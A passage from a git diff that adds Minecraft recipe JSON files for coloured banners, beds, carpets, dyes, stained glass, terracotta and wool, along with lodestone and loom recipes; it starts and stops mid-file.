/dev/null +++ b/src/data/minecraft/recipes/light_blue_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:light_blue_terracotta" + }, + "result": "minecraft:light_blue_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_stained_glass.json b/src/data/minecraft/recipes/light_blue_stained_glass.json new file mode 100644 index 00000000..4af7f3db --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:light_blue_dye" + } + }, + "result": { + "item": "minecraft:light_blue_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_stained_glass_pane.json b/src/data/minecraft/recipes/light_blue_stained_glass_pane.json new file mode 100644 index 00000000..a0b10277 --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:light_blue_stained_glass" + } + }, + "result": { + "item": "minecraft:light_blue_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/light_blue_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..f6a92918 --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:light_blue_dye" + } + }, + "result": { + "item": "minecraft:light_blue_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_terracotta.json b/src/data/minecraft/recipes/light_blue_terracotta.json new file mode 100644 index 00000000..3cb36df1 --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:light_blue_dye" + } + }, + "result": { + "item": "minecraft:light_blue_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_wool.json b/src/data/minecraft/recipes/light_blue_wool.json new file mode 100644 index 00000000..c69ddf52 --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:light_blue_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:light_blue_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_banner.json b/src/data/minecraft/recipes/light_gray_banner.json new file mode 100644 index 00000000..b94336b4 --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:light_gray_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:light_gray_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_bed.json b/src/data/minecraft/recipes/light_gray_bed.json new file mode 100644 index 00000000..245b256c --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:light_gray_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:light_gray_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_bed_from_white_bed.json b/src/data/minecraft/recipes/light_gray_bed_from_white_bed.json new file mode 100644 index 00000000..ae3473e4 --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:light_gray_dye" + } + ], + "result": { + "item": "minecraft:light_gray_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_carpet.json b/src/data/minecraft/recipes/light_gray_carpet.json new file mode 100644 index 00000000..eaa24eab --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:light_gray_wool" + } + }, + "result": { + "item": "minecraft:light_gray_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_carpet_from_white_carpet.json b/src/data/minecraft/recipes/light_gray_carpet_from_white_carpet.json new file mode 100644 index 00000000..37754b51 --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:light_gray_dye" + } + }, + "result": { + "item": "minecraft:light_gray_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_concrete_powder.json b/src/data/minecraft/recipes/light_gray_concrete_powder.json new file mode 100644 index 00000000..c831b651 --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:light_gray_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:light_gray_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_dye_from_azure_bluet.json b/src/data/minecraft/recipes/light_gray_dye_from_azure_bluet.json new file mode 100644 index 00000000..2b3f4b22 --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_dye_from_azure_bluet.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "light_gray_dye", + "ingredients": [ + { + "item": "minecraft:azure_bluet" + } + ], + "result": { + "item": "minecraft:light_gray_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_dye_from_black_white_dye.json b/src/data/minecraft/recipes/light_gray_dye_from_black_white_dye.json new file mode 100644 index 00000000..ecea949e --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_dye_from_black_white_dye.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "light_gray_dye", + "ingredients": [ + { + "item": "minecraft:black_dye" + }, + { + "item": "minecraft:white_dye" + }, + { + "item": "minecraft:white_dye" + } + ], + "result": { + "item": "minecraft:light_gray_dye", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_dye_from_gray_white_dye.json b/src/data/minecraft/recipes/light_gray_dye_from_gray_white_dye.json new file mode 100644 index 00000000..fc7936fb --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_dye_from_gray_white_dye.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "light_gray_dye", + "ingredients": [ + { + "item": "minecraft:gray_dye" + }, + { + "item": "minecraft:white_dye" + } + ], + "result": { + "item": "minecraft:light_gray_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_dye_from_oxeye_daisy.json b/src/data/minecraft/recipes/light_gray_dye_from_oxeye_daisy.json new file mode 100644 index 00000000..399a2872 --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_dye_from_oxeye_daisy.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "light_gray_dye", + "ingredients": [ + { + "item": "minecraft:oxeye_daisy" + } + ], + "result": { + "item": "minecraft:light_gray_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_dye_from_white_tulip.json b/src/data/minecraft/recipes/light_gray_dye_from_white_tulip.json new file mode 100644 index 00000000..74c305c1 --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_dye_from_white_tulip.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "light_gray_dye", + "ingredients": [ + { + "item": "minecraft:white_tulip" + } + ], + "result": { + "item": "minecraft:light_gray_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_glazed_terracotta.json b/src/data/minecraft/recipes/light_gray_glazed_terracotta.json new file mode 100644 index 00000000..2272f459 --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:light_gray_terracotta" + }, + "result": "minecraft:light_gray_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_stained_glass.json b/src/data/minecraft/recipes/light_gray_stained_glass.json new file mode 100644 index 00000000..799584d7 --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:light_gray_dye" + } + }, + "result": { + "item": "minecraft:light_gray_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_stained_glass_pane.json b/src/data/minecraft/recipes/light_gray_stained_glass_pane.json new file mode 100644 index 00000000..a06d2f6b --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:light_gray_stained_glass" + } + }, + "result": { + "item": "minecraft:light_gray_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/light_gray_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..5bd8e695 --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:light_gray_dye" + } + }, + "result": { + "item": "minecraft:light_gray_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_terracotta.json b/src/data/minecraft/recipes/light_gray_terracotta.json new file mode 100644 index 00000000..b178027a --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:light_gray_dye" + } + }, + "result": { + "item": "minecraft:light_gray_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_gray_wool.json b/src/data/minecraft/recipes/light_gray_wool.json new file mode 100644 index 00000000..e5c52edf --- /dev/null +++ b/src/data/minecraft/recipes/light_gray_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:light_gray_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:light_gray_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_weighted_pressure_plate.json b/src/data/minecraft/recipes/light_weighted_pressure_plate.json new file mode 100644 index 00000000..7dd012da --- /dev/null +++ b/src/data/minecraft/recipes/light_weighted_pressure_plate.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:gold_ingot" + } + }, + "result": { + "item": "minecraft:light_weighted_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_banner.json b/src/data/minecraft/recipes/lime_banner.json new file mode 100644 index 00000000..d7047e8b --- /dev/null +++ b/src/data/minecraft/recipes/lime_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:lime_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:lime_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_bed.json b/src/data/minecraft/recipes/lime_bed.json new file mode 100644 index 00000000..12da0abe --- /dev/null +++ b/src/data/minecraft/recipes/lime_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:lime_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:lime_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_bed_from_white_bed.json b/src/data/minecraft/recipes/lime_bed_from_white_bed.json new file mode 100644 index 00000000..8fc7e36e --- /dev/null +++ b/src/data/minecraft/recipes/lime_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:lime_dye" + } + ], + "result": { + "item": "minecraft:lime_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_carpet.json b/src/data/minecraft/recipes/lime_carpet.json new file mode 100644 index 00000000..afdfdf55 --- /dev/null +++ b/src/data/minecraft/recipes/lime_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:lime_wool" + } + }, + "result": { + "item": "minecraft:lime_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_carpet_from_white_carpet.json b/src/data/minecraft/recipes/lime_carpet_from_white_carpet.json new file mode 100644 index 00000000..19fc5eb4 --- /dev/null +++ b/src/data/minecraft/recipes/lime_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:lime_dye" + } + }, + "result": { + "item": "minecraft:lime_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_concrete_powder.json b/src/data/minecraft/recipes/lime_concrete_powder.json new file mode 100644 index 00000000..2aec6fad --- /dev/null +++ b/src/data/minecraft/recipes/lime_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:lime_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:lime_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_dye.json b/src/data/minecraft/recipes/lime_dye.json new file mode 100644 index 00000000..5c185c80 --- /dev/null +++ b/src/data/minecraft/recipes/lime_dye.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:green_dye" + }, + { + "item": "minecraft:white_dye" + } + ], + "result": { + "item": "minecraft:lime_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_dye_from_smelting.json b/src/data/minecraft/recipes/lime_dye_from_smelting.json new file mode 100644 index 00000000..bfe390eb --- /dev/null +++ b/src/data/minecraft/recipes/lime_dye_from_smelting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:sea_pickle" + }, + "result": "minecraft:lime_dye", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_glazed_terracotta.json b/src/data/minecraft/recipes/lime_glazed_terracotta.json new file mode 100644 index 00000000..e0034f1d --- /dev/null +++ b/src/data/minecraft/recipes/lime_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:lime_terracotta" + }, + "result": "minecraft:lime_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_stained_glass.json b/src/data/minecraft/recipes/lime_stained_glass.json new file mode 100644 index 00000000..a0f45d3c --- /dev/null +++ b/src/data/minecraft/recipes/lime_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:lime_dye" + } + }, + "result": { + "item": "minecraft:lime_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_stained_glass_pane.json b/src/data/minecraft/recipes/lime_stained_glass_pane.json new file mode 100644 index 00000000..3781a7a0 --- /dev/null +++ b/src/data/minecraft/recipes/lime_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:lime_stained_glass" + } + }, + "result": { + "item": "minecraft:lime_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/lime_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..aee7f0b3 --- /dev/null +++ b/src/data/minecraft/recipes/lime_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:lime_dye" + } + }, + "result": { + "item": "minecraft:lime_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_terracotta.json b/src/data/minecraft/recipes/lime_terracotta.json new file mode 100644 index 00000000..46769ae9 --- /dev/null +++ b/src/data/minecraft/recipes/lime_terracotta.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_terracotta", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:terracotta" + }, + "X": { + "item": "minecraft:lime_dye" + } + }, + "result": { + "item": "minecraft:lime_terracotta", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lime_wool.json b/src/data/minecraft/recipes/lime_wool.json new file mode 100644 index 00000000..28e3ed10 --- /dev/null +++ b/src/data/minecraft/recipes/lime_wool.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wool", + "ingredients": [ + { + "item": "minecraft:lime_dye" + }, + { + "item": "minecraft:white_wool" + } + ], + "result": { + "item": "minecraft:lime_wool" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lodestone.json b/src/data/minecraft/recipes/lodestone.json new file mode 100644 index 00000000..c18325c2 --- /dev/null +++ b/src/data/minecraft/recipes/lodestone.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SSS", + "S#S", + "SSS" + ], + "key": { + "S": { + "item": "minecraft:chiseled_stone_bricks" + }, + "#": { + "item": "minecraft:netherite_ingot" + } + }, + "result": { + "item": "minecraft:lodestone" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/loom.json b/src/data/minecraft/recipes/loom.json new file mode 100644 index 00000000..def1838f --- /dev/null +++ b/src/data/minecraft/recipes/loom.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "@@", + "##" + ], + "key": { + "#": { + "tag": "minecraft:planks" + }, + "@": { + "item": "minecraft:string" + } + }, + "result": { + "item": "minecraft:loom" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_banner.json b/src/data/minecraft/recipes/magenta_banner.json new file mode 100644 index 00000000..5ecf7602 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:magenta_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:magenta_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_bed.json b/src/data/minecraft/recipes/magenta_bed.json new file mode 100644 index 00000000..60395c09 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:magenta_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:magenta_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_bed_from_white_bed.json b/src/data/minecraft/recipes/magenta_bed_from_white_bed.json new file mode 100644 index 00000000..a861654a --- /dev/null +++ b/src/data/minecraft/recipes/magenta_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:magenta_dye" + } + ], + "result": { + "item": "minecraft:magenta_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_carpet.json b/src/data/minecraft/recipes/magenta_carpet.json new file mode 100644 index 00000000..bc1c90a4 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:magenta_wool" + } + }, + "result": { + "item": "minecraft:magenta_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_carpet_from_white_carpet.json b/src/data/minecraft/recipes/magenta_carpet_from_white_carpet.json new file mode 100644 index 00000000..023405c2 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:magenta_dye" + } + }, + "result": { + "item": "minecraft:magenta_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_concrete_powder.json b/src/data/minecraft/recipes/magenta_concrete_powder.json new file mode 100644 index 00000000..1e1963c2 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:magenta_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:magenta_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_dye_from_allium.json b/src/data/minecraft/recipes/magenta_dye_from_allium.json new file mode 100644 index 00000000..33d15273 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_dye_from_allium.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "magenta_dye", + "ingredients": [ + { + "item": "minecraft:allium" + } + ], + "result": { + "item": "minecraft:magenta_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_dye_from_blue_red_pink.json b/src/data/minecraft/recipes/magenta_dye_from_blue_red_pink.json new file mode 100644 index 00000000..e0c10e8e --- /dev/null +++ b/src/data/minecraft/recipes/magenta_dye_from_blue_red_pink.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "magenta_dye", + "ingredients": [ + { + "item": "minecraft:blue_dye" + }, + { + "item": "minecraft:red_dye" + }, + { + "item": "minecraft:pink_dye" + } + ], + "result": { + "item": "minecraft:magenta_dye", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_dye_from_blue_red_white_dye.json b/src/data/minecraft/recipes/magenta_dye_from_blue_red_white_dye.json new file mode 100644 index 00000000..ce8ec2d5 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_dye_from_blue_red_white_dye.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "magenta_dye", + "ingredients": [ + { + "item": "minecraft:blue_dye" + }, + { + "item": "minecraft:red_dye" + }, + { + "item": "minecraft:red_dye" + }, + { + "item": "minecraft:white_dye" + } + ], + "result": { + "item": "minecraft:magenta_dye", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_dye_from_lilac.json b/src/data/minecraft/recipes/magenta_dye_from_lilac.json new file mode 100644 index 00000000..2290ae86 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_dye_from_lilac.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "magenta_dye", + "ingredients": [ + { + "item": "minecraft:lilac" + } + ], + "result": { + "item": "minecraft:magenta_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_dye_from_purple_and_pink.json b/src/data/minecraft/recipes/magenta_dye_from_purple_and_pink.json new file mode 100644 index 00000000..5bd698d3 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_dye_from_purple_and_pink.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "magenta_dye", + "ingredients": [ + { + "item": "minecraft:purple_dye" + }, + { + "item": "minecraft:pink_dye" + } + ], + "result": { + "item": "minecraft:magenta_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_glazed_terracotta.json b/src/data/minecraft/recipes/magenta_glazed_terracotta.json new file mode 100644 index 00000000..afd84f7f --- /dev/null +++ b/src/data/minecraft/recipes/magenta_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:magenta_terracotta" + }, + "result": "minecraft:magenta_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_stained_glass.json b/src/data/minecraft/recipes/magenta_stained_glass.json new file mode 100644 index 00000000..20aac2c5 --- /dev/null +++ b/src/data/minecraft/recipes/magenta_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:magenta_dye" + } + }, + "result": { + "item": "minecraft:magenta_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_stained_glass_pane.json b/src/data/minecraft/recipes/magenta_stained_glass_pane.json new file mode 100644 index 00000000..58e794df --- /dev/null +++ b/src/data/minecraft/recipes/magenta_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:magenta_stained_glass" + } + }, + "result": { + "item": "minecraft:magenta_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/magenta_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/magenta_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..84eea68d --- /dev/null +++ b/src/data/minecraft/recipes/magenta_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:magenta_dye" + } + }, + "result": { + "item": 